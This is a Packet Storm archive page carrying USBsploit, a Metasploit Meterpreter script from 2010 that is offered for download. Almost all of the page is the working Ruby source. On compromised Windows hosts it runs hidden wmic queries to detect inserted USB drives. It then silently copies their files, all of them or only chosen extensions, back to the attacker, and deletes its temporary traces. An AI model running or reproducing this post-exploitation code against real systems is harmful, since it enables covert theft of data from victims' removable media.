what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

USBsploit Proof Of Concept

USBsploit Proof Of Concept
Posted Jul 16, 2010
Authored by Xavier Poli | Site secuobs.com

USBsploit is a proof of concept for dumping files from remote USB drives on multiple targets at the same time. It works through Meterpreter sessions with a light (24MB) modified version of Metasploit. The interface is a modified version of SET. usbsploit.rb can also be used with the original Metasploit Framework.

tags | exploit, remote, proof of concept
SHA-256 | e92fea9e4a548bffde34146916cb0c63e949368dc79238ba26fd55cf55ebefd4

USBsploit Proof Of Concept

Change Mirror Download
### $Id: usbploit.rb 2010-06-19 22:46:25Z XPO $
### Contact : xavier.poli@infratech.fr or http://twitter.com/secuobs
### Tested target : Windows XP Pro SP3 into vmware server from a GNU/Linux host (USBsploit needs wmic on the targets to work)
os = client.sys.config.sysinfo['OS']
host = client.sys.config.sysinfo['Computer']
require 'net/http'
### options
@@exec_opts = Rex::Parser::Arguments.new(
"-d" => [ false,"Dump all the files and directories."],
"-h" => [ false,"Help menu."],
"-t" => [ false,"Dump only the text files using a predefined extensions sets (Autamatic download set file if needed). Must be placed after the -e parameter if not default value"],
"-e" => [ true,"Specify a personnal file path with a specific extensions set to dump, must be enclosed between double quotes if complex path. Must be placed before the -t parameter if not default value."],
"-w" => [ false,"Run the scan only one time instead of the infinite while."],
"-v" => [ false,"Activate high verbosity"],
)
################## function declaration Declarations ##################
### help
def usage
puts @@exec_opts.usage
print_line("USAGE: ")
print_line("With Metasploit >>> run usbsploit -w -v -e /opt/metasploit3/msf3/msf/data/textextensions -t")
print_line("Previous command Will dump only the files matching the extensions set defined by the personnal extensions file and this will be done while a scan is successfull. High verbosity is also activated. NOTE: USBsploit needs wmic on the targets to work!!!\n")
end
### executing remote wmic commands
def wmicexec(client,wmiccmds= nil)
windr = ''
tmpout = ''
windrtmp = ""
client.response_timeout=120
begin
tmp = client.fs.file.expand_path("%TEMP%")
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
wmiccmds.each do |wmi|
r = client.sys.process.execute("cmd /c wmic /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true})
sleep(2)
#Making sure that wmic finnishes before executing next wmic command
prog2check = "wmic.exe"
found = 0
while found == 0
client.sys.process.get_processes().each do |x|
found =1
if prog2check == (x['name'].downcase)
sleep(0.5)
found = 0
end
end
end
r.close
end
### Read the output file of the wmic commands
wmidrivefile = client.fs.file.new(wmicfl, "rb")
until wmidrivefile.eof?
tmpout << wmidrivefile.read
end
wmidrivefile.close
wmidrivefile.close
rescue ::Exception => e
end
### We delete the file with the wmic command output.
c = client.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
c.close
tmpout
end
### handle files
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
### test if file exists remotely
def remoteexists(dst)
value = client.fs.dir.entries(dst)
return value
rescue
return false
end
### test if a drive still exists remotely
def remotedriveexists(dst)
value = client.fs.dir.entries(dst)
return true
rescue
return false
end
### recursive and differential downloader
def dumper(dst,src,dump,verbose,host,extensionsfile,volumeserialnumber)
begin
### if a dump attack was chosen
if dump == "true" or dump == "extension"
state = 0
### for each item on the drive
if (value = remotedriveexists(src + File::SEPARATOR) == true)
each = client.fs.dir.entries(src)
each.each { |src_sub|
if (src_sub == '.' or src_sub == '..')
next
end
src_item = src + File::SEPARATOR + src_sub
dst_item = dst + ::File::SEPARATOR + src_sub
src_stat = client.fs.filestat.new(src_item)
### if item is a file
if (src_stat.file?)
### check local size if file exist allready locally
if ::File.exists?(dst_item)
dst_size = File.size(dst_item)
else
dst_size = "NULL"
end
if src_stat.size == dst_size
### same size
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" unchanged compare to local copy \"#{dst_item}\"")
end
else
### different size or no local copy, download the file
### download only file matching the extensions set if option chosen
if dump == "extension"
openextension = 0
File.readlines(extensionsfile).map {|extension|
begin
if extension.gsub("\n","") == File.extname(dst_item).gsub(".","")
client.fs.file.download_file(dst_item, src_item)
state += 1
openextension = 1
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\", extension \"#{extension.gsub("\n","")}\" matchs the set chosen")
end
end
end
}
if openextension == 0
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" wasn't donwloaded, \"#{File.extname(dst_item).gsub(".","")}\" not part of the extensions range chosen")
end
end
else
### download file without taking care of an extensions set
client.fs.file.download_file(dst_item, src_item)
state += 1
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\"")
end
end
end
### if item is a directory
elsif (src_stat.directory?)
if ::File.exists?(dst_item)
else
### create the local directory identified on the remote drive if not exist
::Dir.mkdir(dst_item)
end
### relaunch dumper function on the sub directory
if verbose == "true"
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") directory and under files from \"#{host}\" will be checked")
end
statet = state
state = dumper(dst_item,src_item,dump,verbose,host,extensionsfile,volumeserialnumber)
state += statet
end
}
end
end
end
return state
rescue ::Exception => e
return state
end
### parsing options
dump = "false"
verbose = "false"
stopwhile = "false"
extensionsfile = ::File.join(Msf::Config.data_directory, 'textextensions' )
@@exec_opts.parse(args) do |opt, idx, val|
case opt
when "-d"
dump = "true"
when "-e"
if ::File.exists?(extensionsfile)
dump = "extension"
extensionsfile = val
else
raise "Personnal extensions set File \"#{val}\" does not exist!"
end
when "-t"
if ::File.exists?(extensionsfile)
dump = "extension"
else
Net::HTTP.start("www.secuobs.com") do |http|
req = Net::HTTP::Get.new("/usbsploit/textextensions}")
resp = http.request(req)
::File.open(::File.join(Msf::Config.data_directory, "textextensions"), "wb") do |fd|
fd.write(resp.body)
end
end
if ::File.exists?(extensionsfile)
print_status("\"#{Msf::Config.data_directory}/textextensions\" downloaded \"from http://www.secuobs.com/usbsploit/textextensions\"")
dump = "extension"
else
raise "Text extensions set File \"#{extensionsfile}\" does not exists and can't be downloaded!"
end
end
when "-w"
stopwhile = "true"
when "-v"
verbose = "true"
when "-h"
usage
raise Rex::Script::Completed
end
end
if args.length == 0
dump = "true"
end
### variable declarations
commands = ["LogicalDisk WHERE \"Description = 'Removable Disk'\" get DeviceID"]
nbdrive = 0
state = 0
### Create a directory for the dumps
logstmp = ::File.join(Msf::Config.log_directory, 'usbsploit' )
logs = logstmp + "/" + host
if ::File.exists?(logs)
else
::FileUtils.mkdir_p(logs)
end
### declaration tracking files
drivefile = logstmp + "/drive" + host
volumeserialnumberfile = logstmp + "/volumeserialnumber" + host
oldvolumeserialnumberfile = logstmp + "/oldvolumeserialnumber" + host
### cleaning
if ::File.exists?(oldvolumeserialnumberfile)
File.unlink(oldvolumeserialnumberfile)
end
### start
print_status("Start launching USBsploit module Dump on the remote target \"#{host}\"")
print_status("Waiting for removable drives to be inserted, remember USBsploit needs wmic on the targets to work!!!")
first = 0
temp = 0
while temp < 1
dumped = 0
newnbdrive = 0
### cleaning
if ::File.exists?(volumeserialnumberfile)
File.unlink(volumeserialnumberfile)
end
if ::File.exists?(drivefile)
File.unlink(drivefile)
end
### number of drives plugged
filewrt(drivefile, wmicexec(client,commands))
::File.open(drivefile, "r").each_line do |drive|
begin
drive = drive.gsub(/[^\w|:]/,"")
if drive =~ /:/
newnbdrive += 1
end
end
end
### If at least one drive is plugged now and one was plugged during the last scan
if newnbdrive > 0 and nbdrive > 0
if newnbdrive > 1 and nbdrive > 1
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drives were previously inserted")
elsif newnbdrive > 1 and nbdrive == 1
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drive was previously inserted")
elsif newnbdrive == 1 and nbdrive > 1
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drives were previously inserted")
elsif newnbdrive == 1 and nbdrive == 1
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drive was previously inserted")
end
### Get the list of all plugged drives this time
::File.open(drivefile, "r").each_line do |drive|
begin
drive = drive.gsub(/[^\w|:]/,"")
if drive =~ /:/
### Get the volumeserialnumber for the plugged drive checked at this time
newvolumeserialnumber = 1
openvolumeserialnumber = 0
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]
filewrt(volumeserialnumberfile, wmicexec(client,command))
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|
begin
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")
if volumeserialnumber =~ /\d/
openvolumeserialnumber = 1
### Recover all the volumeserialnumber values for the drives plugged during the last scan
if ::File.exists?(oldvolumeserialnumberfile)
::File.open(oldvolumeserialnumberfile, "r").each_line do |oldvolumeserialnumber|
begin
oldvolumeserialnumber = oldvolumeserialnumber.gsub(/[^\w|:]/,"")
if oldvolumeserialnumber =~ /\d/
### Check if this volumeserialnumber was part of the recovered ones from the last scan
if volumeserialnumber == oldvolumeserialnumber
newvolumeserialnumber = 0
if verbose == "true"
print_status("\"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\") found on \"#{host}\" but was allready inserted before and dumped")
end
else
### nothing to do here
end
end
end
end
else
newvolumeserialnumber = 1
end
end
end
end
if newvolumeserialnumber == 1 and openvolumeserialnumber == 1
### Check if the new plugged drive is allways plugged at this time
sleep(2)
if (value = remotedriveexists(drive + File::SEPARATOR) == true)
if ::File.exists?(volumeserialnumberfile)
File.unlink(volumeserialnumberfile)
end
filewrt(volumeserialnumberfile, wmicexec(client,command))
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|
begin
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")
if volumeserialnumber =~ /\d/
### Create a directory for the dumps
logskey = logstmp + "/" + host + "/" + volumeserialnumber
if ::File.exists?(logskey)
else
::FileUtils.mkdir_p(logskey)
end
if dump == "true" or dump == "extension"
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")
end
### Dump the files from the new plugged drive
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)
dumped += 1
if dump == "true" or dump == "extension"
if state == "00" or state == ''
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")
elsif state == 1
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")
else
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")
end
end
end
end
end
else
### The new plugged drive checked was unplugged
if verbose == "true"
if dump == "true" or dump == "extension"
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")
end
end
end
else
### The plugged drive checked was allready part of the last scan
end
if ::File.exists?(volumeserialnumberfile)
File.unlink(volumeserialnumberfile)
end
end
end
end
### elsif at least one drive is plugged this time and any during the last scan
elsif newnbdrive > 0 and nbdrive == 0
if first == 0
if newnbdrive > 1
print_status("#{newnbdrive} drives are initially plugged into \"#{host}\" when USBsploit starts")
elsif newnbdrive == 1
print_status("#{newnbdrive} drive is initially plugged into \"#{host}\" when USBsploit starts")
end
first = 1
else
if newnbdrive > 1
print_status("#{newnbdrive} drives are now plugged into \"#{host}\", any drive was previously inserted")
elsif newnbdrive == 1
print_status("#{newnbdrive} drive is now plugged into \"#{host}\", any drive was previously inserted")
end
end
### Get the list of all plugged drives this time
::File.open(drivefile, "r").each_line do |drive|
begin
drive = drive.gsub(/[^\w|:]/,"")
if drive =~ /:/
### check if the new drive is allways plugged
sleep(2)
if (value = remotedriveexists(drive + File::SEPARATOR) == true)
### Get the volumeserialnumber for the plugged drive checked at this time
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]
if ::File.exists?(volumeserialnumberfile)
File.unlink(volumeserialnumberfile)
end
filewrt(volumeserialnumberfile, wmicexec(client,command))
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|
begin
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")
if volumeserialnumber =~ /\d/
logskey = logstmp + "/" + host + "/" + volumeserialnumber
if dump == "true" or dump == "extension"
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")
end
### Create a directory for the dumps
if ::File.exists?(logskey)
else
::FileUtils.mkdir_p(logskey)
end
### Dump the files from the new plugged drive
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)
if dump == "true" or dump == "extension"
if state == "00" or state == ''
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")
elsif state == 1
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")
else
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")
end
end
dumped += 1
if stopwhile == "true"
temp += 1
end
end
end
end
else
### The new plugged drive checked was unplugged
if verbose == "true"
if dump == "true" or dump == "extension"
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")
end
end
end
end
end
end
end
### refresh the number of plugged drives for future checks
if dumped == 0
if newnbdrive == 1
else
end
else
if dumped == 1
if newnbdrive == 1
else
end
else
if newnbdrive == 1
else
end
end
end
if newnbdrive == nbdrive
else
if ::File.exists?(oldvolumeserialnumberfile)
File.unlink(oldvolumeserialnumberfile)
end
### Save the volumeserialnumber of each plugged drives for future checks
::File.open(drivefile, "r").each_line do |drive|
begin
drive = drive.gsub(/[^\w|:]/,"")
if drive =~ /:/
if (value = remotedriveexists(drive + File::SEPARATOR) == true)
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]
filewrt(oldvolumeserialnumberfile, wmicexec(client,command))
end
end
end
nbdrive = newnbdrive
end
end
if ::File.exists?(drivefile)
File.unlink(drivefile)
end
### delay for 2 continuous scans
#sleep(10)
end
raise Rex::Script::Completed
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close